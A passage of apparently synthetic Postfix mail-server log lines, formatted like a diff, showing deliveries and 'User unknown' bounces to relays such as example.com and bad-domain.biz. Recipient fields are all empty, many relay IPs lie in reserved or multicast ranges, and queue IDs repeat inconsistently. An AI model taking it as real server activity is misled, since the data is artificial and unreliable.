status=sent (250 2.0.0 OK: queued as C92B) +Aug 26 14:03:42 mail-server postfix/smtp[15235]: 27E727F: to=, relay=example.com[224.209.168.235]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7426) +Aug 26 14:03:43 mail-server postfix/smtp[15234]: 1722640: to=, relay=web-host.org[168.230.94.146]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 17782) +Aug 26 14:03:45 mail-server CRON[3453]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:03:46 mail-server postfix/smtp[15234]: 4EF62CB: to=, relay=mailservice.net[24.122.173.136]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 111B8) +Aug 26 14:03:46 mail-server postfix/smtp[15235]: 5BE0AC4: to=, relay=mailservice.net[199.249.145.53]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1268B) +Aug 26 14:03:47 mail-server postfix/smtp[15235]: 15AD6B3: to=, relay=example.com[55.62.75.8]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:03:47 mail-server postfix/smtp[15235]: A5A24F: to=, relay=web-host.org[131.36.81.139]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 77B8) +Aug 26 14:03:50 mail-server postfix/smtp[15234]: 4458FA3: to=, relay=email-provider.co[70.239.116.199]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 161AC) +Aug 26 14:03:53 mail-server postfix/smtp[15234]: 59C88D4: to=, relay=email-provider.co[84.76.81.20]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 74A3) +Aug 26 14:03:54 mail-server postfix/smtp[15235]: 2B28B95: to=, relay=example.com[210.79.56.33]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 16C12) +Aug 26 14:03:54 mail-server postfix/smtp[15235]: 5B2C36C: to=, relay=mailservice.net[162.83.253.149]:587, dsn=5.1.1, status=bounced (host mailservice.net said: 550 5.1.1 User unknown) +Aug 26 14:03:55 mail-server postfix/smtp[15234]: 3A7FDE8: to=, relay=example.com[115.238.172.137]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 12F97) +Aug 26 14:03:55 mail-server postfix/smtp[15234]: 1947355: to=, relay=mailservice.net[209.191.35.100]:587, dsn=5.1.1, status=bounced (host mailservice.net said: 550 5.1.1 User unknown) +Aug 26 14:03:56 mail-server postfix/smtp[15235]: 1ECFB58: to=, relay=web-host.org[218.36.91.10]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1741E) +Aug 26 14:03:58 mail-server postfix/smtp[15234]: 5BE0AC4: to=, relay=web-host.org[177.6.85.79]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 14BFD) +Aug 26 14:03:59 mail-server postfix/smtp[15234]: 5614324: to=, relay=mailservice.net[17.168.164.223]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 15E50) +Aug 26 14:03:59 mail-server postfix/smtp[15235]: 4931243: to=, relay=bad-domain.biz[89.198.152.234]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BF01) +Aug 26 14:04:00 mail-server postfix/smtp[15234]: 258AAE2: to=, relay=email-provider.co[79.203.107.135]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 99FA) +Aug 26 14:04:01 mail-server postfix/smtp[15234]: ECB559: to=, relay=email-provider.co[97.70.158.218]:587, dsn=5.1.1, status=bounced (host email-provider.co said: 550 5.1.1 User unknown) +Aug 26 14:04:02 mail-server postfix/smtp[15234]: 5D677CA: to=, relay=example.com[253.87.3.49]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:04:04 mail-server postfix/smtp[15234]: 23A4C29: to=, relay=web-host.org[3.130.70.118]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 157F9) +Aug 26 14:04:06 mail-server postfix/smtp[15235]: 47FB4B7: to=, relay=web-host.org[194.86.29.241]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3779) +Aug 26 14:04:06 mail-server postfix/smtp[15234]: 557E4FF: to=, relay=email-provider.co[82.118.36.155]:587, dsn=5.1.1, status=bounced (host email-provider.co said: 550 5.1.1 User unknown) +Aug 26 14:04:07 mail-server postfix/smtp[15235]: 3F04E25: to=, relay=example.com[198.182.91.230]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:04:09 mail-server postfix/smtp[15234]: 2AE37D3: to=, relay=example.com[179.180.123.223]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 180FF) +Aug 26 14:04:09 mail-server postfix/smtp[15234]: 1C0B295: to=, relay=email-provider.co[169.65.4.57]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D196) +Aug 26 14:04:10 mail-server postfix/smtp[15234]: 5AA2DBD: to=, relay=web-host.org[55.82.147.17]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 178A5) +Aug 26 14:04:10 mail-server postfix/smtp[15234]: AA9EC4: to=, relay=email-provider.co[63.171.211.94]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 897C) +Aug 26 14:04:12 mail-server postfix/smtp[15235]: 4EF62CB: to=, relay=example.com[88.116.27.72]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4A4C) +Aug 26 14:04:12 mail-server postfix/smtp[15234]: 2A66201: to=, relay=web-host.org[198.68.115.221]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E344) +Aug 26 14:04:12 mail-server postfix/smtp[15234]: 5AA2DBD: to=, relay=example.com[65.97.7.222]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EB74) +Aug 26 14:04:15 mail-server postfix/smtp[15234]: 4EF62CB: to=, relay=mailservice.net[176.197.207.163]:587, dsn=5.1.1, status=bounced (host mailservice.net said: 550 5.1.1 User unknown) +Aug 26 14:04:16 mail-server postfix/smtp[15235]: 4D60971: to=, relay=example.com[207.122.253.143]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:04:17 mail-server postfix/smtp[15235]: 18625E0: to=, relay=example.com[188.134.104.157]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 14757) +Aug 26 14:04:19 mail-server postfix/smtp[15234]: 462656D: to=, relay=email-provider.co[210.171.13.110]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6E6A) +Aug 26 14:04:19 mail-server postfix/smtp[15234]: 5E90289: to=, relay=web-host.org[168.19.130.100]:587, dsn=5.1.1, status=bounced (host web-host.org said: 550 5.1.1 User unknown) +Aug 26 14:04:21 mail-server postfix/smtp[15235]: 418E197: to=, relay=bad-domain.biz[37.143.75.154]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 11451) +Aug 26 14:04:21 mail-server postfix/smtp[15234]: A4F024: to=, relay=mailservice.net[104.58.164.220]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5F79) +Aug 26 14:04:21 mail-server postfix/smtp[15234]: 2FC4FD4: to=, relay=mailservice.net[243.196.26.88]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 16FF0) +Aug 26 14:04:21 mail-server postfix/smtp[15235]: 2A69494: to=, relay=example.com[155.184.33.20]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E459) +Aug 26 14:04:22 mail-server postfix/smtp[15234]: 437F9E2: to=, relay=example.com[111.115.139.243]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2E85) +Aug 26 14:04:23 mail-server postfix/smtp[15235]: 3C5FD8D: to=, relay=web-host.org[131.62.169.70]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BA3F) +Aug 26 14:04:24 mail-server postfix/smtp[15234]: 47FB4B7: to=, relay=email-provider.co[176.208.105.233]:587, dsn=5.1.1, status=bounced (host email-provider.co said: 550 5.1.1 User unknown) +Aug 26 14:04:26 mail-server postfix/smtp[15235]: 22C182A: to=, relay=web-host.org[154.37.200.88]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 330A) +Aug 26 14:04:26 mail-server postfix/smtp[15234]: 414B532: to=, relay=email-provider.co[253.22.174.155]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 859E) +Aug 26 14:04:27 mail-server postfix/smtp[15235]: 4931243: to=, relay=email-provider.co[226.7.194.27]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 17D81) +Aug 26 14:04:29 mail-server postfix/smtp[15234]: A5A24F: to=, relay=bad-domain.biz[64.209.11.6]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 105CF) +Aug 26 14:04:29 mail-server postfix/smtp[15235]: 5BE0AC4: to=, relay=web-host.org[21.246.41.26]:587, dsn=5.1.1, status=bounced (host web-host.org said: 550 5.1.1 User unknown) +Aug 26 14:04:30 mail-server postfix/smtp[15235]: 189268A: to=, relay=bad-domain.biz[33.233.108.222]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B7D4) +Aug 26 14:04:30 mail-server postfix/smtp[15235]: B29BA9: to=, relay=example.com[134.173.107.163]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 28AA) +Aug 26 14:04:31 mail-server postfix/smtp[15234]: 4BB00CB: to=, relay=mailservice.net[236.235.25.170]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BF1A) +Aug 26 14:04:31 mail-server postfix/smtp[15235]: 50C6846: to=, relay=example.com[180.53.203.51]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 150E3) +Aug 26 14:04:34 mail-server postfix/smtp[15234]: 32A433C: to=, relay=mailservice.net[182.215.75.220]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3378) +Aug 26 14:04:34 mail-server postfix/smtp[15235]: 159A22A: to=, relay=example.com[251.21.53.46]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F2EB) +Aug 26 14:04:35 mail-server postfix/smtp[15235]: 4458FA3: to=, relay=mailservice.net[115.229.17.146]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 110A1) +Aug 26 14:04:35 mail-server postfix/smtp[15234]: 59C88D4: to=, relay=example.com[127.126.23.50]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:04:36 mail-server postfix/smtp[15235]: 1A436AC: to=, relay=bad-domain.biz[109.102.219.188]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 13626) +Aug 26 14:04:37 mail-server postfix/smtp[15235]: ECB559: to=, relay=example.com[61.192.195.170]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:04:38 mail-server postfix/smtp[15234]: 35A85C7: to=, relay=email-provider.co[79.81.181.53]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3E66) +Aug 26 14:04:38 mail-server postfix/smtp[15234]: 358165D: to=, relay=web-host.org[30.81.132.106]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 135C7) +Aug 26 14:04:39 mail-server postfix/smtp[15235]: 13C3F2F: to=, relay=bad-domain.biz[28.242.188.71]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E1E7) +Aug 26 14:04:40 mail-server postfix/smtp[15235]: 544894D: to=, relay=example.com[49.10.86.206]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 18650) +Aug 26 14:04:42 mail-server postfix/smtp[15235]: 2B28B95: to=, relay=web-host.org[91.91.103.134]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as ACD5) +Aug 26 14:04:42 mail-server postfix/smtp[15235]: 3B756E3: to=, relay=web-host.org[173.24.91.198]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 13D1E) +Aug 26 14:04:42 mail-server postfix/smtp[15234]: 106DF7D: to=, relay=email-provider.co[233.192.27.20]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BA31) +Aug 26 14:04:44 mail-server postfix/smtp[15235]: 4BB9501: to=, relay=email-provider.co[180.143.123.103]:587, dsn=5.1.1, status=bounced (host email-provider.co said: 550 5.1.1 User unknown) +Aug 26 14:04:44 mail-server postfix/smtp[15235]: 2DE10F5: to=, relay=web-host.org[133.207.26.76]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 13522) +Aug 26 14:04:45 mail-server postfix/smtp[15234]: 5280C82: to=, relay=example.com[153.92.151.249]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3FC5) +Aug 26 14:04:46 mail-server postfix/smtp[15234]: 2A0898D: to=, relay=mailservice.net[228.90.206.243]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CDA6) +Aug 26 14:04:46 mail-server postfix/smtp[15235]: 54A0702: to=, relay=example.com[23.159.187.212]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:04:46 mail-server postfix/smtp[15235]: 420FD8E: to=, relay=email-provider.co[199.115.103.55]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C94C) +Aug 26 14:04:46 mail-server postfix/smtp[15234]: 3A7FDE8: to=, relay=email-provider.co[71.241.64.95]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A415) +Aug 26 14:04:48 mail-server postfix/smtp[15234]: 58B8777: to=, relay=web-host.org[237.176.194.209]:587, dsn=5.1.1, status=bounced (host web-host.org said: 550 5.1.1 User unknown) +Aug 26 14:04:49 mail-server postfix/smtp[15235]: 1062F20: to=, relay=bad-domain.biz[107.77.161.225]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 13CB5) +Aug 26 14:04:50 mail-server postfix/smtp[15235]: 32FA1A3: to=, relay=mailservice.net[189.10.220.141]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B51A) +Aug 26 14:04:50 mail-server postfix/smtp[15234]: 2380969: to=, relay=example.com[79.178.100.4]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:04:50 mail-server postfix/smtp[15234]: 50D989E: to=, relay=email-provider.co[42.132.101.65]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 14D3D) +Aug 26 14:04:52 mail-server postfix/smtp[15234]: 457E2D9: to=, relay=email-provider.co[219.175.37.93]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BBE5) +Aug 26 14:04:53 mail-server postfix/smtp[15234]: 549D076: to=, relay=web-host.org[251.194.48.129]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7160) +Aug 26 14:04:55 mail-server postfix/smtp[15235]: 526F472: to=, relay=email-provider.co[229.14.60.68]:587, dsn=5.1.1, status=bounced (host email-provider.co said: 550 5.1.1 User unknown) +Aug 26 14:04:55 mail-server postfix/smtp[15234]: 20A6A9C: to=, relay=bad-domain.biz[103.226.120.35]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A1A2) +Aug 26 14:04:55 mail-server postfix/smtp[15235]: 358165D: to=, relay=email-provider.co[117.237.152.204]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 27E0) +Aug 26 14:04:56 mail-server postfix/smtp[15235]: 5856FCE: to=, relay=mailservice.net[123.100.49.86]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6BC1) +Aug 26 14:04:58 mail-server postfix/smtp[15234]: 2380969: to=, relay=mailservice.net[183.213.100.58]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F080) +Aug 26 14:04:58 mail-server postfix/smtp[15235]: 5409478: to=, relay=example.com[71.186.11.11]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 92A5) +Aug 26 14:04:58 mail-server postfix/smtp[15234]: 32A433C: to=, relay=mailservice.net[245.25.91.168]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7343) +Aug 26 14:05:00 mail-server systemd[1]: Starting daily clean up activities... +Aug 26 14:05:00 mail-server postfix/smtp[15234]: 43439EE: to=, relay=email-provider.co[79.57.186.83]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A680) +Aug 26 14:05:02 mail-server postfix/smtp[15235]: B80E87: to=, relay=email-provider.co[153.99.115.82]:587, dsn=5.1.1, status=bounced (host email-provider.co said: 550 5.1.1 User unknown) +Aug 26 14:05:02 mail-server postfix/smtp[15234]: 13DEE8E: to=, relay=example.com[253.153.59.188]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 164AE) +Aug 26 14:05:04 mail-server postfix/smtp[15235]: 1E750D0: to=, relay=example.com[75.46.164.32]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E06A) +Aug 26 14:05:05 mail-server postfix/smtp[15235]: 2FC4FD4: to=, relay=bad-domain.biz[112.206.68.54]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4EF4) +Aug 26 14:05:06 mail-server postfix/smtp[15234]: 18625E0: to=, relay=email-provider.co[150.27.122.143]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1609F) +Aug 26 14:05:06 mail-server postfix/smtp[15234]: 2A0898D: to=, relay=example.com[54.188.134.239]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6E16) +Aug 26 14:05:06 mail-server postfix/smtp[15235]: 5CF1D5F: to=, relay=bad-domain.biz[11.205.89.24]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8D43) +Aug 26 14:05:07 mail-server postfix/smtp[15234]: 5A9C847: to=, relay=mailservice.net[42.215.198.194]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DE32) +Aug 26 14:05:08 mail-server postfix/smtp[15235]: 2A69494: to=, relay=web-host.org[170.235.236.79]:587, dsn=5.1.1, status=bounced (host web-host.org said: 550 5.1.1 User unknown) +Aug 26 14:05:08 mail-server postfix/smtp[15234]: 5CC0397: to=, relay=web-host.org[90.7.104.35]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 12311) +Aug 26 14:05:10 mail-server postfix/smtp[15235]: 159A22A: to=, relay=mailservice.net[86.252.103.214]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 13672) +Aug 26 14:05:11 mail-server postfix/smtp[15234]: 23A4C29: to=, relay=web-host.org[129.1.108.157]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F17A) +Aug 26 14:05:12 mail-server postfix/smtp[15234]: 17E9FC0: to=, relay=email-provider.co[208.96.240.187]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 98BC) +Aug 26 14:05:12 mail-server postfix/smtp[15234]: 54A0702: to=, relay=web-host.org[224.137.7.30]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 108D8) +Aug 26 14:05:12 mail-server postfix/smtp[15234]: 107DEC9: to=, relay=email-provider.co[63.52.159.11]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 11DA5) +Aug 26 14:05:13 mail-server postfix/smtp[15234]: 14CE662: to=, relay=web-host.org[52.239.225.133]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F758) +Aug 26 14:05:13 mail-server postfix/smtp[15235]: CBD650: to=, relay=email-provider.co[194.25.119.103]:587, dsn=5.1.1, status=bounced (host email-provider.co said: 550 5.1.1 User unknown) +Aug 26 14:05:15 mail-server postfix/smtp[15235]: 1ABC89C: to=, relay=example.com[192.234.253.24]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:05:18 mail-server postfix/smtp[15235]: 3F04E25: to=, relay=example.com[159.174.106.21]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 16CCD) +Aug 26 14:05:18 mail-server postfix/smtp[15235]: 2DE10F5: to=, relay=mailservice.net[97.173.142.140]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 11F4D) +Aug 26 14:05:19 mail-server postfix/smtp[15235]: 4A98D22: to=, relay=web-host.org[139.115.16.85]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2F09) +Aug 26 14:05:20 mail-server postfix/smtp[15234]: 3524D63: to=, relay=mailservice.net[104.153.96.66]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1203F) +Aug 26 14:05:20 mail-server postfix/smtp[15235]: 3524D63: to=, relay=bad-domain.biz[25.206.6.101]:587, dsn=5.1.1, status=bounced (host bad-domain.biz said: 550 5.1.1 User unknown) +Aug 26 14:05:20 mail-server postfix/smtp[15234]: 43017C9: to=, relay=email-provider.co[65.135.102.251]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 10B64) +Aug 26 14:05:22 mail-server postfix/smtp[15234]: 4407600: to=, relay=web-host.org[185.96.74.133]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as AC2A) +Aug 26 14:05:23 mail-server postfix/smtp[15234]: 1484B28: to=, relay=example.com[180.84.78.219]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E466) +Aug 26 14:05:25 mail-server postfix/smtp[15234]: 159A22A: to=, relay=mailservice.net[118.87.101.103]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 14375) +Aug 26 14:05:26 mail-server postfix/smtp[15234]: 35A85C7: to=, relay=mailservice.net[218.19.132.40]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9E95) +Aug 26 14:05:27 mail-server postfix/smtp[15234]: 32FA1A3: to=, relay=web-host.org[98.216.219.241]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 10EE5) +Aug 26 14:05:29 mail-server postfix/smtp[15235]: 45D309C: to=, relay=mailservice.net[234.93.211.99]:587, dsn=5.1.1, status=bounced (host mailservice.net said: 550 5.1.1 User unknown) +Aug 26 14:05:29 mail-server postfix/smtp[15234]: 5A3A0E9: to=, relay=web-host.org[221.240.76.43]:587, dsn=5.1.1, status=bounced (host web-host.org said: 550 5.1.1 User unknown) +Aug 26 14:05:30 mail-server postfix/smtp[15234]: 2A69494: to=, relay=email-provider.co[212.126.134.212]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E628) +Aug 26 14:05:30 mail-server postfix/smtp[15234]: 30B2CD7: to=, relay=bad-domain.biz[171.11.162.180]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 104BF) +Aug 26 14:05:30 mail-server postfix/smtp[15235]: 41E0CEC: to=, relay=bad-domain.biz[216.232.182.140]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4D57) +Aug 26 14:05:32 mail-server postfix/smtp[15235]: 3F6D4E7: to=, relay=web-host.org[28.3.232.45]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DDFE) +Aug 26 14:05:33 mail-server postfix/smtp[15234]: 2B320B5: to=, relay=mailservice.net[231.213.217.218]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 27F6) +Aug 26 14:05:35 mail-server postfix/smtp[15234]: 215DB52: to=, relay=email-provider.co[248.6.226.56]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7032) +Aug 26 14:05:36 mail-server postfix/smtp[15234]: 53A28F4: to=, relay=bad-domain.biz[26.21.118.251]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 10770) +Aug 26 14:05:36 mail-server postfix/smtp[15234]: 47FB4B7: to=, relay=bad-domain.biz[178.183.176.82]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5810) +Aug 26 14:05:38 mail-server postfix/smtp[15234]: 437F9E2: to=, relay=email-provider.co[222.131.174.37]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4CF3) +Aug 26 14:05:38 mail-server postfix/smtp[15235]: 358165D: to=, relay=bad-domain.biz[78.40.205.90]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1305F) +Aug 26 14:05:39 mail-server postfix/smtp[15235]: 2CA8BEF: to=, relay=example.com[142.26.61.201]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:05:41 mail-server postfix/smtp[15234]: 1CFED7B: to=, relay=web-host.org[214.105.11.112]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C215) +Aug 26 14:05:42 mail-server postfix/smtp[15235]: 3F04E25: to=, relay=mailservice.net[7.222.189.127]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F7A3) +Aug 26 14:05:43 mail-server postfix/smtp[15235]: DFBECC: to=, relay=email-provider.co[18.239.113.79]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A0BA) +Aug 26 14:05:44 mail-server postfix/smtp[15234]: 3F6D4E7: to=, relay=mailservice.net[38.101.132.252]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 165F2) +Aug 26 14:05:46 mail-server postfix/smtp[15235]: 2531E25: to=, relay=email-provider.co[205.114.176.71]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1013C) +Aug 26 14:05:46 mail-server postfix/smtp[15234]: 43017C9: to=, relay=email-provider.co[227.48.39.15]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 16F46) +Aug 26 14:05:49 mail-server postfix/smtp[15234]: 5D03F60: to=, relay=web-host.org[39.15.53.229]:587, dsn=5.1.1, status=bounced (host web-host.org said: 550 5.1.1 User unknown) +Aug 26 14:05:49 mail-server postfix/smtp[15234]: 1C261D1: to=, relay=web-host.org[128.15.148.17]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2724) +Aug 26 14:05:49 mail-server postfix/smtp[15234]: 4BB00CB: to=, relay=email-provider.co[79.20.142.226]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F5C9) +Aug 26 14:05:49 mail-server postfix/smtp[15234]: 2CA8BEF: to=, relay=example.com[194.162.17.19]:587, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 14:05:52 mail-server postfix/smtp[15234]: 47C3E61: to=, relay=bad-domain.biz[206.112.94.75]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A4EB) +Aug 26 14:05:53 mail-server postfix/smtp[15235]: 1E750D0: to=, relay=bad-domain.biz[64.160.227.222]:587, dsn=5.1.1, status=bounced (host bad-domain.biz said: 550 5.1.1 User unknown) +Aug 26 14:05:54 mail-server postfix/smtp[15234]: 5B5D475: to=, relay=bad-domain.biz[5.14.196.200]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 11777) +Aug 26 14:05:54 mail-server postfix/smtp[15235]: 12AFBE7: to=, relay=example.com[246.28.127.188]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1528F) +Aug 26 14:05:55 mail-server postfix/smtp[15235]: 258AAE2: to=, relay=mailservice.net[208.155.39.44]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 168C9) +Aug 26 14:05:55 mail-server postfix/smtp[15235]: 22C182A: to=, relay=email-provider.co[99.55.254.43]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DA23) +Aug 26 14:05:55 mail-server postfix/smtp[15234]: 4286A7B: to=, relay=web-host.org[65.237.213.232]:587, dsn=5.1.1, status=bounced (host web-host.org said: 550 5.1.1 User unknown) +Aug 26 14:05:56 mail-server postfix/smtp[15235]: 4EF62CB: to=, relay=mailservice.net[31.9.200.6]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 15AEA) +Aug 26 14:05:58 mail-server postfix/smtp[15234]: 2531E25: to=, relay=mailservice.net[37.151.125.158]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4129) +Aug 26 14:06:01 mail-server postfix/smtp[15234]: 33C91F5: to=, relay=mailservice.net[141.136.146.9]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 90AC) +Aug 26 14:06:02 mail-server postfix/smtp[15234]: 4807B7B: to=, relay=bad-domain.biz[244.236.112.149]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 10661) +Aug 26 14:06:03 mail-server postfix/smtp[15235]: 3C5FD8D: to=, relay=email-provider.co[96.35.144.4]:587, dsn=5.1.1, status=bounced (host email-provider.co said: 550 5.1.1 User unknown) +Aug 26 14:06:04 mail-server postfix/smtp[15234]: 2531E25: to=, relay=email-provider.co[142.212.16.7]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7EAE) +Aug 26 14:06:05 mail-server postfix/smtp[15234]: 52647B1: to=, relay=mailservice.net[223.152.17.201]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9D5F) +Aug 26 14:06:05 mail-server postfix/smtp[15235]: 30B2CD7: to=, relay=web-host.org[226.100.202.54]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as ABFF) +Aug 26 14:06:06 mail-server postfix/smtp[15234]: 2191727: to=, relay=bad-domain.biz[192.241.204.245]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D43C) +Aug 26 14:06:07 mail-server postfix/smtp[15234]: 23A7D0C: to=, relay=email-provider.co[41.193.63.88]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 16BB1) +Aug 26 14:06:07 mail-server postfix/smtp[15235]: 1ECFB58: to=, relay=email-provider.co[110.187.34.26]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 15254) +Aug 26 14:06:07 mail-server postfix/smtp[15234]: A4F024: to=, relay=bad-domain.biz[118.109.1.186]:587, dsn=5.1.1, status=bounced (host bad-domain.biz said: 550 5.1.1 User unknown) +Aug 26 14:06:08 mail-server postfix/smtp[15235]: 1062F20: to=, relay=example.com[238.173.116.15]:25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A04A) +Aug 26 14:06:10 mail-server postfix/smtp[15234]: 59C88D4: to=, relay=bad-domain.biz[8.1.241.230]:25, 